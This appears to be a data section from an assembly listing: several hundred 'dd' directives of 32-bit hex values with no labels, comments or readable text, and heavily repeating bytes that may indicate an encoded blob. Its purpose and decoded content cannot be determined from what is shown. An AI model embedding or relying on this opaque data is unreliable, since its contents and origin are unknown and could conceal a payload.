dd 49D8F4F9h, 5FB0DB48h, 86A0DD61h, 0DC57A7A6h, 58585986h
dd 15EDEE57h, 57A7A7B8h, 0B816C5EEh, 0EF57A7A7h, 50BB9983h
dd 0D13E8651h, 0A686AEEDh, 0DDEF57A7h, 0A7A686AEh, 0D9844DD3h
dd 9ADB4849h, 504D5B1Ch, 594849D9h, 0A84DD388h, 124849D8h
dd 0D13E8859h, 0A6B858DDh, 0DDEF57A7h, 0A7A6B858h, 5DDCE657h
dd 0A7A7B859h, 0A44DE757h, 5B4849D8h, 49D9EC4Dh, 5EB2DB48h
dd 0DC578861h, 5858592Ah, 58DDEF57h, 0D3A7A6B8h, 49D9A44Dh
dd 5B9ADB48h, 0D8BC4D5Bh, 88594849h, 5DDCE657h, 0A7A7B859h
dd 0D8E44DD3h, 4D5B4849h, 4849D9D0h, 615CB2DBh, 63DD5788h
dd 57585859h, 0B858DDEFh, 4DD3A7A6h, 4849DA54h, 0D1549ADBh
dd 57895999h, 5955CCEEh, 0D3A7A7B8h, 49D8C86Dh, 559EDB48h
dd 0AB599BD1h, 45ECEE57h, 0A7A7B859h, 99AEEF57h, 8BD150BEh
dd 86D1AB51h, 0D1AEEF57h, 0D1AB599Bh, 0EDD13E86h, 0A7A686ACh
dd 0ACDDEF57h, 0D5A7A686h, 0B8595DDCh, 0D508A7A7h, 0A6B85ADDh
dd 0BEB008A7h, 0D55858FDh, 0A6B85AD5h, 0A790DBA7h, 5964D818h
dd 0D1A12D58h, 73A0D19Fh, 49D8C85Dh, 5DE4D848h, 0A7A6B85Ah
dd 0F9252D76h, 4849D9ACh, 0D8B05D5Bh, 0B0DB4849h, 71A2D15Fh
dd 0DCE6579Ah, 0A6B85A4Dh, 4DA708A7h, 4858A864h, 0DB5C9CDBh
dd 0C2D1DA0h, 0D8C06DD3h, 6D5B4849h, 4849D9D0h, 0D154B6DBh
dd 57AB71A3h, 5A45ECE6h, 0EA7A6B8h, 0A8644DA7h, 9CDB4858h
dd 0A0DB5Ch, 6DD3722Dh, 4849D928h, 0D9146D5Bh, 0B6DB4849h
dd 71A3D15Dh, 0ECE657ABh, 0A6B85A45h, 4DA70EA7h, 4858A864h
dd 0DB5C9CDBh, 5A2C1DA0h, 783068B3h, 0B04849C0h, 0A7A7A204h
dd 5AE5D508h, 0FA7A6B8h, 0A8744DA7h, 80F94858h, 0DB4849D8h
dd 0D5085EB0h, 0A6B85ADDh, 70B008A7h, 0DBA7A7A3h, 6074C9Ch
dd 0D9B9103h, 0B4D9BDD1h, 585858C8h, 0D30F0E0Bh, 49D8C845h
dd 5CB3DB48h, 4DD357B3h, 4849D920h, 3E51B2DBh, 98050CD1h
dd 0DA10F91Bh, 98DB4849h, 2A9B6144h, 5DE757BDh, 4849D9A8h
dd 104DE757h, 0D14849D9h, 0DB8E599Eh, 49B35FB6h, 0BA89AAD1h
dd 3E5415D3h, 3E2954D3h, 0D84D14D1h, 0D94CF91Eh, 1CD54849h
dd 9E614658h, 5DD5BA2Ah, 48490298h, 0A720DDD1h, 88F9A7A7h
dd 0DB4849D9h, 0DDD15FB0h, 0A7A7A724h, 0A724EDA7h, 2DA7A7A7h
dd 1263B050h, 9CDB5858h, 2CDDD150h, 0F9A7A7A7h, 4849D8E4h
dd 2CDD6118h, 2DA7A7A7h, 0D81DD563h, 981DD508h, 0D1D9B008h
dd 0DDD15858h, 0A7A7A728h, 0A720EDA7h, 1DD5A7A7h, 0B2B00898h
dd 0DB58580Ah, 9851489Ch, 0EDA74A2Ch, 0A7A7A720h, 8981DD5h
dd 0A7BA9FB0h, 509CDBA7h, 0A724DDA7h, 60F9A7A7h, 0DB4849DAh
dd 4DD37898h, 4849D984h, 5B529ADBh, 49D8B84Dh, 9AF75748h
dd 0A724DD61h, 182BA7A7h, 8D81DD5h, 585D1BB0h, 28DDD158h
dd 0A7A7A7A7h, 0A7A720EDh, 0D81DD5A7h, 0AD3B008h, 9CDB5858h
dd 57985154h, 0A7A717DCh, 20EDA7A7h, 0D5A7A7A7h, 0B008D81Dh
dd 0A7A7BA3Ch, 0B1509CDBh, 0A7A7A760h, 0DA7065D3h, 0B7DB4849h
dd 0D149B350h, 0D3BA89A2h, 0D33E5015h, 3E984D0Ch, 1F214CD1h
dd 49D954F9h, 4698DB48h, 0BB2A9F61h, 91030607h, 0BDD10D9Bh
dd 570F0B09h, 0E1501DEEh, 58585873h, 0F8E6DBE2h, 99BAAF77h
dd 0DD15BB2h, 0D18FD1A4h, 5005D0A3h, 501DEE57h, 0C04DE757h
dd 0D34849D9h, 49D9F455h, 520CD548h, 2D886159h, 5837E052h
dd 0DBB15858h, 57585858h, 0D3501DEEh, 49D9F44Dh, 55E75748h
dd 4849DA1Ch, 0B2DB9259h, 2D886150h, 5821E05Fh, 3AB35858h
dd 501DEE57h, 0D9684DD3h, 9ADB4849h, 2D88615Ah, 5831E05Fh
dd 12B35858h, 501DEE57h, 0D9F44DD3h, 4D5B4849h, 4849D944h
dd 615CB2DBh, 0E05F2D88h, 5858583Dh, 0EE5774B3h, 4DD3501Dh
dd 4849D948h, 615CB2DBh, 0E05F2D88h, 58585839h, 0EE574CB3h
dd 4DD3501Dh, 4849D8B0h, 2D88611Ah, 582DE05Dh, 3075858h
dd 300F9B91h, 4849C049h, 0A7AFBBB0h, 0A70801A7h, 597DC04Dh
dd 0DA2CFB48h, 98F94849h, 574849D8h, 0D9944DE7h, 88594849h
dd 6153B0DBh, 49DA2C5Dh, 304F2D48h, 4849C05Ah, 0A7AFEBB0h
dd 0A70801A7h, 5D6A404Dh, 0DA2CFB48h, 0B6304849h, 0B04849CFh
dd 0A7A7AFC4h, 6DA70801h, 4849DA2Ch, 79F44DA7h, 58FB4859h
dd 7485D72h, 0BDD10D9Bh, 25D30F0Eh, 542DD350h, 0D3481DD3h
dd 8AAF4C0Dh, 8951A9D1h, 0A2D19069h, 88D19A59h, 0D1401D5Bh
dd 78255B9Fh, 0F442DA7h, 587812B0h, 509CDB58h, 0AF599FD1h
dd 607A0D1h, 0D10D9B05h, 0CB4DBBDh, 0D30F0E0Bh, 5C32502Dh
dd 58485830h, 541DD358h, 251898DBh, 6798DB5Bh, 0D15EA099h
dd 5EBF999Fh, 0A758320Fh, 5D6A444Dh, 0B41DD148h, 575425D3h
dd 0DA504DE7h, 55D34849h, 4849DA6Ch, 6F520CD5h, 8859A0D1h
dd 98DB5B25h, 5EA09967h, 0C865E757h, 0D34849D9h, 49D9A055h
dd 5724D548h, 579AD16Dh, 0A70A8FF7h, 4DA7B42Dh, 4858A860h
dd 0E542DA7h, 0A7B42DA7h, 51104C4Dh, 0A81DD548h, 1E32B008h
dd 9CDB5858h, 0B42DD348h, 5C5DE757h, 574849D9h, 0D9C04DE7h
dd 9BD14849h, 0B3138B59h, 1DD50E47h, 0A0B008A8h, 0DB585863h
dd 58F9509Ch, 0DB4849D9h, 5D5B7798h, 4849D978h, 1B5E6CD5h
dd 0D35425D3h, 49D9AC4Dh, 6F9ADB48h, 8859A0D1h, 98DB5B25h
dd 5EA09967h, 9D249B61h, 58D85830h, 0D97CF958h, 0B0DB4849h
dd 2DA7085Ah, 484DA7B4h, 0D5485110h, 0A708F41Dh, 74B0482Dh
dd 0F958583Eh, 4849D920h, 85F98DBh, 8A81DD5h, 8F41DD5h
dd 1184DA7h, 9CDB4855h, 0BC65D34Ch, 0DB4849D8h, 0A0615DB7h
dd 98695D2Ch, 695AB318h, 3060798h, 0D10D9B91h, 0D988F9BDh
dd 0B0DB4849h, 645D615Fh, 2E484937h, 37643053h, 4DA74849h
dd 4858A84Ch, 493764F9h, 5C9A0548h, 0BDD10D58h, 49DA68F9h
dd 7C5D5B48h, 0DB4849D9h, 5D615BB0h, 48597DE0h, 0E030532Eh
dd 0A748597Dh, 58A84C4Dh, 7DE0F948h, 9A054859h, 0D10D585Ch
dd 44B4D9BDh, 0B58585Ah, 0DDD50F0Eh, 0A7A7A5A8h, 78F83008h
dd 0D7B04859h, 0DB5858DAh, 0DDD1509Ch, 0A7A7A5A0h, 0CC5DE757h
dd 574849D9h, 0D9C04DE7h, 88594849h, 615AB0DBh, 0A7A5A0DDh
dd 695F2DA7h, 59C9B198h, 4CF95858h, 5B4849DAh, 49D8B45Dh
dd 0A4DDD148h, 0D3A7A7A5h, 0A7A5A4DDh, 0A0CDD3A7h, 0D5A7A7A5h
dd 90DB5A54h, 64D818A7h, 0A12D5859h, 0A5ACDDD1h, 0E5D9A7A7h
dd 0A7A7A5ACh, 585858A7h, 0DDD3722Bh, 0A7A7A5A4h, 0DA7C4DD3h
dd 4D5B4849h, 4849D9A0h, 595BB2DBh, 0A0DD5B88h, 8A7A7A5h
dd 0A759DDD5h, 0B008A7A7h, 5858C7A9h, 0F06DE757h, 0B34849D8h
dd 6DE4D87Dh, 0A7A7A759h, 9E502D71h, 0A7596DDCh, 0D865A7A7h
dd 0A7596DE4h, 2D70A7A7h, 6DDC9E50h, 0A7A7A759h, 0D5D51E73h
dd 0A7A7A759h, 18A790DBh, 585964D8h, 9E61A12Dh, 0A7309F2Ah
dd 0D5585858h, 0A7A65ADDh, 0DDD508A7h, 0A7A7A759h, 0CC33B008h
dd 9CDB5858h, 579BD154h
dd 0D8CC65E7h, 0B7DB4849h, 5776B35Ah, 5A65DCE6h, 0D1A7A7A6h
dd 0A7A5B0DDh, 0AFA0D1A7h, 0BCDDD1BFh, 0D3A7A7A5h, 0A7A5B0DDh
dd 0BCCDD3A7h, 71A7A7A5h, 65DCD088h, 0A7A7A65Ah, 2A87611Fh
dd 0DA64F996h, 5D5B4849h, 4849D9B4h, 85AB0DBh, 0D5502DA7h
dd 0A7A65ADDh, 0DCB008A7h, 0DB58587Fh, 0DDD1549Ch, 0A7A7A5B4h
dd 49D9D8F9h, 0A7A35D48h, 5D5B5858h, 4849DA54h, 0A5B4DD61h
dd 492CA7A7h, 0A5A0EDA7h, 4DA7A7A7h, 48597D94h, 0B3189869h
dd 0ACDDD366h, 59A7A7A5h, 0A7A5A4DDh, 0D9D4F9A7h, 5B184849h
dd 49D9005Dh, 0A4DD5948h, 0D3A7A7A5h, 0A7A5A8DDh, 0A4DD61A7h
dd 57A7A7A5h, 0A7A6D6DAh, 0A0EDA7A7h, 0A7A7A7A5h, 597D944Dh
dd 7986948h, 9B910306h, 581859E0h, 58509AD8h, 0DBBDD10Dh
dd 0E0B18B4h, 502DD30Fh, 105DE757h, 0D14849D9h, 98655B9Fh
dd 0DB4849D9h, 56B35AB7h, 0BB89A3D1h, 264CD33Eh, 450CD13Eh
dd 18F91F98h, 0DB4849D9h, 5D5B4798h, 4849D984h, 0B82A9F61h
dd 8981DD5h, 0DBCDB00Eh, 9CDB5858h, 3060750h, 0D10D9B91h
dd 60B4D9BDh, 0B585859h, 4DD50F0Eh, 4858868Fh, 0D92455D3h
dd 99DB4849h, 8B88D151h, 684DD3B0h, 0DB4849DAh, 4D5B5F9Ah
dd 4849D98Ch, 9BD189D1h, 5DD5BB8Bh, 4858868Fh, 0D1B41DD1h
dd 80D1B005h, 1560D93Eh, 57402C02h, 0D9105DE7h, 4DD34849h
dd 4849D8B8h, 0A148DCD5h, 715858A7h, 0F984B39Bh, 4849D9B8h
dd 0D16098DBh, 0D19E5986h, 0D15E5B80h, 15D3A81Dh, 2E9061B4h
dd 0D978F94Fh, 0AA5D4849h, 575858A7h, 0D8884DE7h, 88594849h
dd 0F3B39B71h, 0D1A81DD3h, 0EF57A01Dh, 1D086558h, 482C5858h
dd 0A05DE757h, 5D4849D8h, 5858A7A3h, 0D3B39B71h, 0D3A01DD3h
dd 5858D8D8h, 0AC1DD158h, 49D9ECF9h, 5CB0DB48h, 0B1A41DD1h
dd 58585924h, 1D5B80D1h, 0A41D5BACh, 0A68CDDD1h, 4DD3A7A7h
dd 4849D88Ch, 615DB2DBh, 37DC5748h, 0D3585859h, 0A7A68CDDh
dd 5B82D1A7h, 0CDD15408h, 0A7A7A688h, 81DDD50Ah, 8A7A7A6h
dd 58C504B0h, 0D9E8F958h, 5D5B4849h, 4849D920h, 0D148B0DBh
dd 7AB3801Dh, 0D2801DD3h, 0A6815DDCh, 3964A7A7h, 22644926h
dd 1DD35525h, 5DDCD580h, 0A7A7A681h, 0A77870D8h, 1DD3801Dh
dd 0DCE65780h, 0A7A6815Dh, 0E04DD3A7h, 0DB4849D9h, 88615CB2h
dd 38F99E2Dh, 0D84849D9h, 0A68F5DE4h, 5714A7A7h, 585883DDh
dd 0C04DD358h, 0D84849D8h, 0A68E4DE4h, 576BA7A7h, 58589FDDh
dd 5DE4D858h, 0A7A7A68Ah, 0E1DD5713h, 0F9585858h, 4849D974h
dd 0D9A45D5Bh, 0E4D84849h, 0A7A68A5Dh, 0DD571DA7h, 585858F8h
dd 1C5DE757h, 0D84849D9h, 0A68F5DE4h, 570AA7A7h, 5858D3DDh
dd 0D924F958h, 5D5B4849h, 4849D908h, 8D5DE4D8h, 6AA7A7A6h
dd 0DDD32E2Dh, 0A7A7A68Ch, 85B82D1h, 90CDD148h, 0F9A7A7A6h
dd 4849D908h, 0DA645D5Bh, 0B0DB4849h, 94DDD15Ch, 0D3A7A7A6h
dd 0A7A690DDh, 5B9ED1A7h, 0A7A694EDh, 0F966D3A7h, 4849DA54h
dd 0D98C5D5Bh, 0B0DB4849h, 2C9F6154h, 6FB00F1Dh, 158587Eh
dd 49D908F9h, 5CB0DB48h, 0DA0C5D61h, 762D4849h, 49D97CF9h
dd 345D5B48h, 0DB4849D9h, 0DD595BB0h, 0A7A7A694h, 4EB3E9B3h
dd 4CA41DDBh, 0D3A01DD3h, 5858DCD8h, 0A41D6158h, 0A62ADA57h
dd 88F9A7A7h, 5B4849D9h, 49DA105Dh, 53B0DB48h, 0DA0C5D61h
dd 3A2C4849h, 5855E7B0h, 51F6B058h, 0D0B05858h, 0D158585Ah
dd 0BF0DD09Ah, 0BF1DEE57h, 0D88C4DD3h, 0B2DB4849h, 2C88615Bh
dd 0B81DD565h, 0D9ECF908h, 0B0DB4849h, 1DD5085Ch, 8F300884h
dd 0F9485886h, 4849D9D4h, 0D88C5D5Bh, 0B0DB4849h, 70F9085Eh
dd 574849DAh, 0D8A04DE7h, 88594849h, 855B0DBh, 37784DA7h
dd 6074849h, 0D9B9103h, 0F0EBDD1h, 0D35025D3h, 0A8D1542Dh
dd 0D1481D7Bh, 7B8AAFAAh, 88514C0Dh, 9A59A2D1h, 1D5B88D1h
dd 5B9FD140h, 2DA77825h, 2CB00F44h, 0DB585841h, 9FD1509Ch
dd 0A0D1AF59h, 9B050607h, 0E0BDD10Dh, 58587858h, 58C37CB0h
dd 300F0E58h, 585847A7h, 0B859DDD5h, 0A708A7A7h, 4DA7502Dh
dd 48493760h, 49CF8130h, 0A81EB048h, 65D3A7A7h, 4849D9A0h
dd 0F5AB7DBh, 59E5D508h, 0FA7A7B8h, 587B02B0h, 489CDB58h
dd 0D9A06DD3h, 9ED94849h, 5858A7A4h, 512CA861h, 0B0502DA7h
dd 585834B2h, 18986901h, 9A910607h, 0D10D5850h, 0F0E0BBDh
dd 0D35025D3h, 2DD35405h, 7980D14Ch, 480DD3A8h, 89AFA9D1h
dd 88519279h, 9A59A2D1h, 1D5B88D1h, 5B9FD140h, 2DA77825h
dd 90B00F44h, 0DB585840h, 9FD1509Ch, 0A0D18759h, 5030607h
dd 0BDD10D9Bh, 595CB4D9h, 0F0E5858h, 49D954F9h, 5B9AD148h
dd 49D9C44Dh, 5EB2DB48h, 145D5B0Ah, 0DB4849D9h, 32085CB0h
dd 5DE7575Bh, 4849DA18h, 0D9F85D5Bh, 0B0DB4849h, 98F90848h
dd 0DB4849D8h, 30085AB0h, 0D8585858h, 516A6830h, 404DA748h
dd 0D1484933h, 0A7A7DB9Fh, 72E05F2Dh, 0B3585858h, 0DA70F932h
dd 0E7574849h, 49D89C4Dh, 0DB885948h, 0D50856B0h, 0A7A6A4DDh
dd 0A73008A7h, 0D5585858h, 0A7A759DDh, 0A70F08A7h, 58A86C4Dh
dd 0F9ED148h, 11104DA7h, 0EE574851h, 0A7A759DDh, 884DD3A7h
dd 0DB4849D9h, 8861429Ah, 72E05F25h, 0B3585858h, 0D9C4F942h
dd 0B0DB4849h, 2D9E615Ch, 5872E05Fh, 5FB35858h, 59DDEE57h
dd 7A7A7A7h, 0D9B9106h, 0E0BBDD1h, 5005D30Fh, 0B542DD3h
dd 0A8584DA7h, 9FD14858h, 49D9D0F9h, 0BC5D5B48h, 0DB4849D9h
dd 0F90851B0h, 4849D8E0h, 0DA7C5D5Bh, 0B0DB4849h, 38F9085Dh
dd 5D4849D9h, 585847AFh, 104DE757h, 594849D9h, 0F0E0888h
dd 5DE7570Bh, 4849D89Ch, 85EB0DBh, 4DA75832h, 4858A848h
dd 49D94CF9h, 4DE75748h, 4849D9C0h, 0B0DB8859h, 665CD05Ah
dd 607A0D1h, 0D9B0503h, 0B4D9BDD1h, 58585950h, 65D30F0Eh
dd 4849D9D0h, 5DE7571Fh, 4849D8F0h, 29B39F59h, 49CF9530h
dd 0B602B048h, 0DDD1A7A7h, 0A7A7A6A0h, 49CF9B30h, 0B612B048h
dd 80FA7A7h, 0A6A0EDD3h, 0D50EA7A7h, 0A7A759EDh, 4DA70EA7h
dd 48550170h, 0D5409CDBh, 0A7A759DDh, 583208A7h, 48585830h
dd 604DA758h, 0D1485111h, 0A7A6A4DDh, 2C9851A7h, 4DA70847h
dd 48511110h, 705DE757h, 184849D9h, 5D2D9F61h, 0B3189869h
dd 585AE07Bh, 44B35858h, 0D948F91Fh, 98DB4849h, 4DE75703h
dd 4849D95Ch, 9F618859h, 0A72EDA57h, 9869A7A7h, 9B910607h
dd 0CFEC300Fh, 91B04849h, 1A7A7B5h, 0C04DA708h, 0FB48597Dh
dd 4849DA24h, 49D8B4F9h, 4DE75748h, 4849D93Ch, 0B0DB8859h
dd 245D615Ah, 2D4849DAh, 0CFFD304Fh, 0C1B04849h, 1A7A7B5h
dd 404DA708h, 0FB485D6Ah, 4849DA24h, 49CFD530h, 0B5DAB048h
dd 801A7A7h, 0DA246DA7h, 4DA74849h, 485979F4h, 59579CFBh
dd 0D9B0748h, 0B4D9BDD1h, 5858595Ch, 0D8FCF90Fh, 5D5B4849h
dd 4849D9ECh, 0D0500DD2h, 0A6AE5DCCh, 0B8F9A7A7h, 0DB4849D9h
dd 30085CB0h, 585858D8h, 20F95C32h, 0DB4849D9h, 0F90851B0h
dd 4849DA14h, 504DE757h, 594849DAh, 52B0DB88h, 58583008h
dd 68301858h, 0A748516Ah, 4933404Dh, 579FD148h, 0D99C5DE7h
dd 5D5B4849h, 4849D928h, 854B0DBh, 0A6A4DDD5h, 0F908A7A7h
dd 4849D920h, 850B0DBh, 0A759DDD5h, 0F08A7A7h, 37444DA7h
dd 0A70F4849h, 5111104Dh, 9B910748h, 0DBBDD10Dh, 0F0E54B4h
dd 305025D3h, 4858FA5Fh, 6EA73C3Fh, 3C3F5858h, 58587ED1h
dd 49CFDD30h, 0B4EAB048h
dd 6FA7A7A7h, 0AE2DD508h, 704DA70Eh, 0DB485501h, 5832489Ch
dd 1DD56FA7h, 40B008AEh, 57585871h, 0D9C85DE7h, 5D5B4849h
dd 4849D8E0h, 854B0DBh, 17C4DA7h, 9CDB4855h, 78FB348h
dd 5C9A9106h, 0BDD10D58h, 5A34B4D9h, 0E0B5858h, 1B83690Fh
dd 49CF2530h, 0B402B048h, 2DA7A7A7h, 0E5D50850h, 0A7A7A5E6h
dd 704DA70Fh, 0DB485501h, 0DDD5489Ch, 0A7A7A69Ah, 0E6DDD508h
dd 8A7A7A5h, 6A704DA7h, 0DDD14851h, 0A7A7A5E0h, 0CC5DE757h
dd 0AF4849D9h, 0E0DD6180h, 57A7A7A5h, 58593EDDh, 781DD558h
dd 481DD508h, 484DA708h, 0D1484933h, 0A7A5F8DDh, 5DE757A7h
dd 4849D8CCh, 884DE757h, 594849D8h, 50B0DB88h, 0A5F8DD61h
dd 5526A7A7h, 0A5C0E5D5h, 2DD5A7A7h, 0B3FDFD78h, 0C0E5D553h
dd 0D5A7A7A5h, 0FDFD482Dh, 0A5F0DDD5h, 0D508A7A7h, 0A7A5C0DDh
dd 4DA708A7h, 48490220h, 49D900F9h, 0CDEF5748h, 0A7A7A5EAh
dd 0E8D5EF57h, 0D3A7A7A5h, 49DA546Dh, 682CD548h, 96F7576Dh
dd 0EF579259h, 0A7A5F6D5h, 0A06DD3A7h, 0DB4849D9h, 0F7574D9Eh
dd 46DD396h, 0DB4849D9h, 0F757609Eh, 57925996h, 0A5F2D5EFh
dd 6DD3A7A7h, 4849D8C0h, 574D9EDBh, 0E75796F7h, 49D99C6Dh
dd 0E865D348h, 0D54849D9h, 5751662Ch, 6DD396F7h, 4849D914h
dd 576D9EDBh, 0D97065E7h, 0A6594849h, 5996F757h, 0D5EF5792h
dd 0A7A7A5F0h, 0D8B86DD3h, 0E7574849h, 49D8C465h, 57A65948h
dd 0E75796F7h, 49D8EC6Dh, 419EDB48h, 0D396F757h, 49D8E06Dh
dd 499EDB48h, 90D19E59h, 579EF757h, 0D9B055E7h, 6DD34849h
dd 4849D924h, 766914D5h, 5999F757h, 0FCCDD19Ah, 0D1A7A7A5h
dd 684DD388h, 614858A8h, 0A9DF5788h, 71585858h, 0D8E0F99Ah
dd 845D4849h, 61585848h, 85DE579Ah, 0A7585858h, 4DA7502Dh
dd 4858A854h, 0A5CCDDD1h, 91B1A7A7h, 0D8585858h, 0A7A6B6E5h
dd 0DC5776A7h, 585858E0h, 49CF2C30h, 0B2C2B048h, 0E5D5A7A7h
dd 0A7A7A6B6h, 502DA70Fh, 0E6E5D508h, 0FA7A7A5h, 1704DA7h
dd 0EDD54855h, 0A7A7A69Ah, 5918B4D9h, 0BFD15858h, 5858C7E1h
dd 0FD3EAB58h, 0A5E6E5D5h, 0B00FA7A7h, 0A7A7A5B5h, 59009CD9h
dd 34B35858h, 0A69ADDD5h, 0A708A7A7h, 0A7A5E0EDh, 904DA7A7h
dd 0D1485957h, 2C83519Bh, 0B6E5D80Fh, 76A7A7A6h, 3330122Ch
dd 0B04849CFh, 0A7A7B274h, 0A6B6E5D5h, 0A70FA7A7h, 0D508502Dh
dd 0A7A5E6E5h, 4DA70FA7h, 48550170h, 0A69AEDD5h, 0B4D9A7A7h
dd 58585918h, 0C7E1BFD1h, 0AB585858h, 0E5D5FD3Eh, 0A7A7A5E6h
dd 0A527B00Fh, 9CD9A7A7h, 58585900h, 0C82D8351h, 91030607h
dd 0BDD10D9Bh, 5A0CB4D9h, 0E0B5858h, 0B4DDD50Fh, 8A7A7A6h
dd 49D898F9h, 0D45D5B48h, 0DB4849D9h, 0F9085BB0h, 4849D9BCh
dd 85CB0DBh, 14F97832h, 574849D9h, 0D8884DE7h, 88594849h
dd 850B0DBh, 72584DA7h, 1DD5485Dh, 4DA708A8h, 48516C68h
dd 49DA4CF9h, 0DEF5748h, 15EF57A2h, 2445D3A0h, 0DB4849D9h
dd 0F7576D9Bh, 57925993h, 57AE15EFh, 0D91C45E7h, 9BDB4849h
dd 93F7574Ch, 0D97C45D3h, 9BDB4849h, 6DE7576Fh, 4849D960h
dd 0F757AB59h, 57925993h, 0D3AA15EFh, 49D92045h, 4D9BDB48h
dd 0D393F757h, 49D9AC45h, 579BDB48h, 0D393F757h, 49DA4C45h
dd 619BDB48h, 5993F757h, 15EF5792h, 4445D3A8h, 0DB4849DAh
dd 455B5D9Bh, 4849D8F8h, 0D393F757h, 49D9DC45h, 401CD548h
dd 90F7574Fh, 485DE757h, 574849DAh, 0D8AC45E7h, 1CD54849h
dd 0F7574940h, 0D8B8F990h, 98DB4849h, 45E7576Dh, 4849D9CCh
dd 0F7578059h, 5988D190h, 0A868FB90h, 6CF94858h, 5B4849D9h
dd 49D9F85Dh, 51B0DB48h, 0A592DDD1h, 0EDD5A7A7h, 0A7A7A5F6h
dd 5918B4D9h, 0BFD15858h, 5858C7E1h, 0FD3EAB58h, 0A6B4E5D5h
dd 0B00FA7A7h, 585840F0h, 591C9CD9h, 6075858h, 0F99B9103h
dd 4849D90Ch, 0D9BC5D5Bh, 0B0DB4849h, 4DA70853h, 48490138h
dd 1859E09Bh, 409AD858h, 0BDD10D58h, 584858E0h, 0CB7BB058h
dd 0E0B5858h, 0D9F4F90Fh, 5D5B4849h, 4849D90Ch, 852B0DBh
dd 0A859DDD5h, 0B008A7A7h, 585855B9h, 0D3509CDBh, 49D99065h
dd 50B7DB48h, 0E4D842B3h, 0A7A85965h, 572D7BA7h, 0C05DE757h
dd 104849D9h, 5965DCD0h, 1FA7A7A8h, 57A7A7D9h, 862A5858h
dd 0A859EDD5h, 3F30A7A7h, 0B04849CFh, 0A7A7B050h, 5957B830h
dd 45E75748h, 4849D89Ch, 0B5EB3DBh, 0D95045D3h, 0E7574849h
dd 49D9CC4Dh, 0DB8B5948h, 80B51B3h, 8845E757h, 5B4849D8h
dd 49DA1445h, 57B3DB48h, 7C45D30Bh, 5B4849DAh, 49D98045h
dd 5DB3DB48h, 2DA70E0Bh, 8845D350h, 5B4849D9h, 49D90C45h
dd 55B3DB48h, 58A7BBD9h, 0B00B5858h, 58581077h, 0D1709CDBh
dd 0A790DBA9h, 5964D818h, 57A12D58h, 0D8CC4DE7h, 0B2DB4849h
dd 599BD159h, 598ED1ABh, 5EE65786h, 404DE757h, 574849DAh
dd 0D97055E7h, 92594849h, 615DB2DBh, 0BDD5788h, 7A7A7A7h
dd 9B910306h, 0CF01300Fh, 0DB04849h, 1A7A7BFh, 0C04DA708h
dd 0FB48597Dh, 4849DA00h, 49DA58F9h, 5DB0DB48h, 0DA005D61h
dd 4F2D4849h, 49CF1330h, 0BF76B048h, 801A7A7h, 6A404DA7h
dd 0FB485Dh, 304849DAh, 4849CF19h, 0A7BF4FB0h, 65B008A7h
dd 0FB58583Dh, 4851116Ch, 49CF6F30h, 0BF5AB048h, 0B008A7A7h
dd 58583D70h, 5979FCFBh, 0CF753048h, 0B5B04849h, 8A7A7BEh
dd 583D4BB0h, 118FB58h, 7D304855h, 0B04849CFh, 0A7A7BE80h
dd 3CA6B008h, 18FB5858h, 30484928h, 4849CF45h, 0A7BE9BB0h
dd 0B1B008A7h, 0FB58583Ch, 485D71A8h, 49CF4B30h, 0BEF6B048h
dd 0B008A7A7h, 58583C8Ch, 55017CFBh, 0CF523048h, 0C1B04849h
dd 8A7A7BEh, 583CE7B0h, 0A8FB58h, 58304851h, 0B04849CFh
dd 0A7A7BEDCh, 3CF2B008h, 0B8FB5858h, 30485D71h, 4849CEA0h
dd 0A7BE37B0h, 0CDB008A7h, 0FB58583Ch, 48595844h, 49CEB530h
dd 0BE02B048h, 0B008A7A7h, 58583CD8h, 58A864FBh, 0CEBA3048h
dd 1DB04849h, 8A7A7BEh, 583C33B0h, 170FB58h, 8E304855h
dd 0B04849CEh, 0A7A7BE68h, 3C0EB008h, 44FB5858h, 3048516Ah
dd 4849CE94h, 0A7BE43B0h, 19B008A7h, 0FB58583Ch, 4851104Ch
dd 49CE9A30h, 0BE5EB048h, 0B008A7A7h, 58583C74h, 0FB289CDBh
dd 4858A874h, 0D10D9B07h, 10B4D9BDh, 0B58585Ch, 0DDD50F0Eh
dd 0A7A7A4E7h, 0D9F4F908h, 5D5B4849h, 4849D8A8h, 85DB0DBh
dd 49DA78F9h, 5AB0DB48h, 57443208h, 0D89C5DE7h, 5D5B4849h
dd 4849D990h, 856B0DBh, 72584DA7h, 0DDD5485Dh, 0A7A7A4E7h
dd 0E3DDD508h, 8A7A7A3h, 79FC4DA7h, 0EF304859h, 0B04849CEh
dd 0A7A7BDCCh, 0E3CDD508h, 0AA7A7A3h, 0A8744DA7h, 9CDB4858h
dd 9ADDD54Ch, 8A7A7A6h, 0A3E3DDD5h, 0A708A7A7h, 516A704Dh
dd 0F99BD148h, 4849DA68h, 9B6180AFh, 58ECDC57h, 0DDD55858h
dd 0A7A7A6B6h, 0E7DDD508h, 8A7A7A4h, 586604B0h, 509CDB58h
dd 0D51EAE69h, 0A7A69ADDh, 0A70B08A7h, 5957904Dh, 519ED148h
dd 0B512DAEh, 7DE44DA7h, 42B34859h, 0A6B6DDD5h, 0D508A7A7h
dd 0A7A4E7DDh, 7EB008A7h, 0DB585866h, 0AE51509Ch, 0E757912Dh
dd 49D9F05Dh, 2C4DD348h, 0DB4849D9h, 4CD05FB2h, 4903485Dh
dd 65E75748h, 4849D8F0h, 0F53064B3h, 0B04849CEh, 0A7A7BCBCh
dd 78E56CA7h, 0A7485101h, 6A78E56Ch, 0D508485Dh, 0A7A59BCDh
dd 4DA70AA7h, 48550170h, 0A59BDDD5h, 3008A7A7h, 48490348h
dd 0A8744DA7h, 9CDB4858h
dd 65631F44h, 4849DAFCh, 607E42Ah, 0D9B9103h, 0B4DBBDD1h
dd 0F0E0B74h, 3E401DD3h, 57401DD1h, 0D95C5DE7h, 4DD34849h
dd 4849D948h, 0E748DCD5h, 61585858h, 0DD57541Dh, 58585948h
dd 0B01D9F3Eh, 1DD5585Bh, 0B0F908A8h, 84849DAh, 0FA760D3h
dd 0A41DD144h, 49D8BCF9h, 0F45D5B48h, 0DB4849D9h, 1D615FB0h
dd 85DD57A4h, 0A7585858h, 1DD5A815h, 2DD508BCh, 48B4DBB0h
dd 5CE1BFD1h, 0AB585858h, 0B065D3FDh, 0F4849DAh, 0FA767D3h
dd 0A41DD178h, 0EC5DE757h, 5B4849D8h, 49D9A05Dh, 50B0DB48h
dd 57A41D61h, 5858C7DDh, 0B81DD558h, 0C2F03008h, 1DD34849h
dd 60D308BCh, 58654CA7h, 0D1585858h, 0A8F9A41Dh, 0DB4849D8h
dd 1D615BB0h, 0D5282DA4h, 49DABC5Dh, 0A01DD148h, 0A740D308h
